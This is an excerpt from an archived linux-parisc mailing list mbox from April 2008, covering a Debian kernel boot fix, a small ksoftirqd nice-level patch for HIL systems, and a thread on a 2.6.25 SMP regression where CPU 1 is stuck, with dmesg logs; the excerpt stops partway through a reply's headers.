	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmWnm-0001nS-BT
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 18:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763448AbYDQQQx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Apr 2008 12:16:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1763597AbYDQQQx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Apr 2008 12:16:53 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:46943 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1763448AbYDQQQw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Apr 2008 12:16:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 224038446
	for <linux-parisc@vger.kernel.org>; Thu, 17 Apr 2008 11:16:51 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208449011; bh=Qv+DO0IlhCaL7eTDe8n5O0IHXPBbfEj4A5kO90DWSl
	o=; l=483; h=Subject:From:To:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=hVGaMlBoIEsxRPa
	0/toSq/5unG94uS4LdYheHp2zNZf6MyN+4TCTNRZMudsa3i60bDNNl0UMhzIkvghvZe
	OQD1tQUdkjNXh0ytPxTKLbV4VPO7saSDD4SsawFJ4wF9E2ir0nx8xImNVbXkPGpGFwK
	aN5VhVqIVG+pBumqM3RfbE=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RyK3o9GQhppy for <linux-parisc@vger.kernel.org>;
	Thu, 17 Apr 2008 11:16:50 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 06E48842C
	for <linux-parisc@vger.kernel.org>; Thu, 17 Apr 2008 11:16:49 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208449010; bh=Qv+DO0IlhCaL7eTDe8n5O0IHXPBbfEj4A5kO90DWSl
	o=; l=483; h=Subject:From:To:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=lDDywF83j4ANosq
	jvL0pOYdRPoveI+8O5rJledAHLnQRAYz0YvaiuJSSuGqyVbCYVHr9mzr4JRsByD9sCx
	sMQhlnDHS1uNljxOu3nbmg6xlueohKu+pzh2BqboXNCPlJjF9F3heDGHB8pwQNPaRmU
	bmPPBI49/iN2akXAIYa+oI=
X-Mailer: Evolution 2.12.3 (2.12.3-3.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/277>

The latest testing kernel release (2.5.24-5) doesn't boot on parisc
because of problems in the 2.6.24.4 stable kernel on which it is based.
I've put a BinNMU version (2.6.24-5+b1) that adds the two missing
patches to get this kernel booting again in:

http://www.parisc-linux.org/~jejb/parisc_debs/

For those tracking this, the two debian bugs are:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=476285
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=476292

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Use lower nice level for ksoftirqd when HIL is enabled
Date: Sat, 19 Apr 2008 14:22:17 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20080419142217.6b360965@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/i.T=rS/SXnmuFudh_TtNOWJ"
X-Trace: ger.gmane.org 1208624338 1522 80.91.229.12 (19 Apr 2008 16:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Apr 2008 16:58:58 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 19 18:59:32 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JnCVX-0002bi-Sk
	for glpp-linux-parisc@gmane.org; Sat, 19 Apr 2008 14:49:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754157AbYDSMsu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Apr 2008 08:48:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754361AbYDSMsu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Apr 2008 08:48:50 -0400
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:1667 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754157AbYDSMst (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Apr 2008 08:48:49 -0400
X-Greylist: delayed 1588 seconds by postgrey-1.27 at vger.kernel.org; Sat, 19 Apr 2008 08:48:49 EDT
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1JnC5C-00007q-RF
	for linux-parisc@vger.kernel.org; Sat, 19 Apr 2008 14:22:18 +0200
X-Mailer: Claws Mail 3.0.2 (GTK+ 2.12.5; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/278>

--MP_/i.T=rS/SXnmuFudh_TtNOWJ
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Hi team,

The following patch makes sure that ksoftirqd gets a nice level of 15
when HIL is enabled in the kernel. This is to workaround the fact that
ksoftirqd's load is very high when you have HIL devices attached to your
system.

There may be a better way to fix this. However, I think that the load
problem was already looked into long time ago and nothing could be done
about it, hence this workaround.


The attached patch has been tested already by a few Gentoo users.


Cheers,
  Guy

-- 
Guy Martin
Gentoo Linux - HPPA port lead

--MP_/i.T=rS/SXnmuFudh_TtNOWJ
Content-Type: text/x-patch; name=HIL-softirqd-less-nice.patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=HIL-softirqd-less-nice.patch

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

Use a nice level of 15 when HIL support is compiled into the kernel.

diff -uNr linux-2.6.23-gentoo-r8.orig/kernel/softirq.c linux-2.6.23-gentoo-r8/kernel/softirq.c
--- linux-2.6.23-gentoo-r8.orig/kernel/softirq.c	2008-03-01 14:44:15.000000000 +0100
+++ linux-2.6.23-gentoo-r8/kernel/softirq.c	2008-03-01 14:50:18.000000000 +0100
@@ -597,6 +597,10 @@
 			printk("ksoftirqd for %i failed\n", hotcpu);
 			return NOTIFY_BAD;
 		}
+#ifdef CONFIG_HIL_MLC
+		// When using HIL, ksoftirqd takes too much CPU so we reduce the nice level
+		set_user_nice(p, 15);
+#endif /* CONFIG_HIL_MLC */
 		kthread_bind(p, hotcpu);
   		per_cpu(ksoftirqd, hotcpu) = p;
  		break;

--MP_/i.T=rS/SXnmuFudh_TtNOWJ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Mon, 21 Apr 2008 01:18:18 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <20080420231818.GA2162@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208733524 8415 80.91.229.12 (20 Apr 2008 23:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Apr 2008 23:18:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 01:19:17 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JnioX-00021t-1v
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 01:19:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754242AbYDTXSf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Apr 2008 19:18:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754164AbYDTXSe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Apr 2008 19:18:34 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.159]:39918 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754007AbYDTXSe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Apr 2008 19:18:34 -0400
Original-Received: by fg-out-1718.google.com with SMTP id l27so1536210fgb.17
        for <linux-parisc@vger.kernel.org>; Sun, 20 Apr 2008 16:18:27 -0700 (PDT)
Original-Received: by 10.86.59.2 with SMTP id h2mr11587685fga.63.1208733507395;
        Sun, 20 Apr 2008 16:18:27 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id j12sm4415637fkf.6.2008.04.20.16.18.25
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sun, 20 Apr 2008 16:18:26 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id 8AEE8144B1E; Mon, 21 Apr 2008 01:18:18 +0200 (CEST)
Mail-Followup-To: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:279 gmane.linux.kernel:668293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/279>

Hi,

  as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
only other kernel I successfully used on that box is Debian's 2.6.22-3.

Debian never built 2.6.23 for parisc, 2.6.24 was still hanging last
time I checked it, 2.6.25 did not even build until recent -rc. So I am
not in the best position to bisect.

Here is the relevant dmesg.

Cheers,
Domenico

Linux version 2.6.25-02519-g3925e6f (cavok@ska) (gcc version 4.1.3 20080308 (prerelease) (Debian 4.1.2-21)) #4 SMP Sun Apr 20 04:53:48
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 3840 MB
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 3858944k/3932160k available (2916k kernel code, 72892k reserved, 1283k data, 240k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000000130000000   (3840 MB)
      .init : 0x00000000405b0000 - 0x00000000405ec000   ( 240 kB)
      .data : 0x00000000403d9160 - 0x000000004051a000   (1283 kB)
      .text : 0x0000000040100000 - 0x00000000403d9160   (2916 kB)
SLUB: Genslabs=12, HWalign=64, Order=0-1, MinObjects=4, CPUs=2, Nodes=1
Security Framework initialized
Capability LSM initialized
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 1168 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffffa2000
SMP: CPU:1 is stuck.
CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
Setting cache flush threshold to f84c0 (1 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR2.1 (0x2) found at 0xfffffffffed32000
Elroy version TR2.1 (0x2) found at 0xfffffffffed34000
Elroy version TR2.1 (0x2) found at 0xfffffffffed38000
Elroy version TR2.1 (0x2) found at 0xfffffffffed3c000
iosapic: hpa not registered for 0000:04:07.0
powersw: Soft power switch at 0xfffffff0f0400804 enabled.
...

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Sun, 20 Apr 2008 23:00:29 -0600
Lines: 84
Approved: news@gmane.org
Message-ID: <20080421050029.GC15080@colo.lackof.org>
References: <20080420231818.GA2162@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208754076 15811 80.91.229.12 (21 Apr 2008 05:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 05:01:16 +0000 (UTC)
To: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 07:01:30 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jno9c-0006Fb-CY
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 07:01:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751470AbYDUFAm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 01:00:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751457AbYDUFAm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 01:00:42 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:37196 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751395AbYDUFAl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 01:00:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 29CBB29800A;
	Sun, 20 Apr 2008 23:00:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19022-04; Sun, 20 Apr 2008 23:00:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B98B829802C; Sun, 20 Apr 2008 23:00:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080420231818.GA2162@ska.dandreoli.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:280 gmane.linux.kernel:668343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/280>

On Mon, Apr 21, 2008 at 01:18:18AM +0200, Domenico Andreoli wrote:
> Hi,
> 
>   as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
> only other kernel I successfully used on that box is Debian's 2.6.22-3.

Sorry, I can't reproduce this on my j6000.

But there are some differences:
1) I'm using gcc 4.2
2) I'm testing 32-bit kernels.
3) j6k has 2GB of RAM (ie no RAM mapped above 4GB).
4) config file might be different in additional ways.

I'll kick off a 64-bit build and test that as well.


> Debian never built 2.6.23 for parisc, 2.6.24 was still hanging last
> time I checked it, 2.6.25 did not even build until recent -rc. So I am
> not in the best position to bisect.

Given 32-bit works, we might be able to figure this out w/o bisect.

...
> Linux version 2.6.25-02519-g3925e6f (cavok@ska) (gcc version 4.1.3 20080308 (prerelease) (Debian 4.1.2-21)) #4 SMP Sun Apr 20 04:53:48
...
> model 9000/785/J5600
> Total Memory: 3840 MB

Is this really 4GB with IO Hole?
The memory behind the IO Hole should be visible at a phys addr above 4GB.

...
> Found devices:
> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> 4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
> 5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> 6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> 7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
> 8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
> 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
> Enabling regular chassis codes support v0.05
> Releasing cpu 1 now, hpa=fffffffffffa2000
> SMP: CPU:1 is stuck.

BTW, I'm not sure this is a kernel problem. Do older kernels still work?

> CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
> Setting cache flush threshold to f84c0 (1 CPUs online)
...

FWIW, here's the equivalent output for the kernel I just booted on j6k:

Linux version 2.6.25gcc42 (grundler@j6k) (gcc version 4.2.3 (Debian 4.2.3-3)) #1 SMP Sat Apr 19 16:56:57 PDT 2008
...
model 9000/785/J6000
Total Memory: 2048 MB
...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Duet W+ at 0xfffa0000 [32] { 0, 0x0, 0x5d4, 0x00004 }
7. Duet W+ at 0xfffa2000 [34] { 0, 0x0, 0x5d4, 0x00004 }
8. Memory at 0xfed10200 [49] { 1, 0x0, 0x00a, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffa2000
FP[1] enabled: Rev 1 Model 16
CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
Whole cache flush 240696 cycles, flushing 3936256 bytes 584013 cycles
Setting cache flush threshold to 1140 (2 CPUs online)
...

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Mon, 21 Apr 2008 09:07:41 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20080421130742.79F9D4DE4@hiauly1.hia.nrc.ca>
References: <20080421050029.GC15080@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208783282 16499 80.91.229.12 (21 Apr 2008 13:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 13:08:02 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 15:08:36 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jnvkv-0000SN-M8
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 15:08:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756305AbYDUNHo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 09:07:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756717AbYDUNHo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 09:07:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3887 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756305AbYDUNHn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 09:07:43 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 79F9D4DE4; Mon, 21 Apr 2008 09:07:42 -0400 (EDT)
In-Reply-To: <20080421050029.GC15080@colo.lackof.org> from "Grant Grundler" at Apr 20, 2008 11:00:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:281 gmane.linux.kernel:668528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/281>

> > Releasing cpu 1 now, hpa=fffffffffffa2000
> > SMP: CPU:1 is stuck.
> 
> BTW, I'm not sure this is a kernel problem. Do older kernels still work?

I'm not sure this is related but a few months ago I noticed that only
two of the four cpus in the rp3440 that I have were running.  I reenabled
the two cpus that were not running, but I had to do it a couple of more
times before the two cpus remained enabled across reboots.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Mon, 21 Apr 2008 15:31:13 +0200
Lines: 114
Approved: news@gmane.org
Message-ID: <20080421133113.GA2223@ska.dandreoli.com>
References: <20080420231818.GA2162@ska.dandreoli.com> <20080421050029.GC15080@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208784713 22194 80.91.229.12 (21 Apr 2008 13:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 13:31:53 +0000 (UTC)
To: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 15:32:24 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jnw7r-0000Nq-7Y
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 15:32:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933166AbYDUNbS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 09:31:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933108AbYDUNbR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 09:31:17 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.158]:63582 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758182AbYDUNbN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 09:31:13 -0400
Original-Received: by fg-out-1718.google.com with SMTP id l27so1759316fgb.17
        for <linux-parisc@vger.kernel.org>; Mon, 21 Apr 2008 06:31:11 -0700 (PDT)
Original-Received: by 10.86.89.4 with SMTP id m4mr13182297fgb.45.1208784671094;
        Mon, 21 Apr 2008 06:31:11 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id 31sm5580619fkt.18.2008.04.21.06.31.09
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 21 Apr 2008 06:31:10 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id 62DD6144B1E; Mon, 21 Apr 2008 15:31:13 +0200 (CEST)
Mail-Followup-To: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20080421050029.GC15080@colo.lackof.org>
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
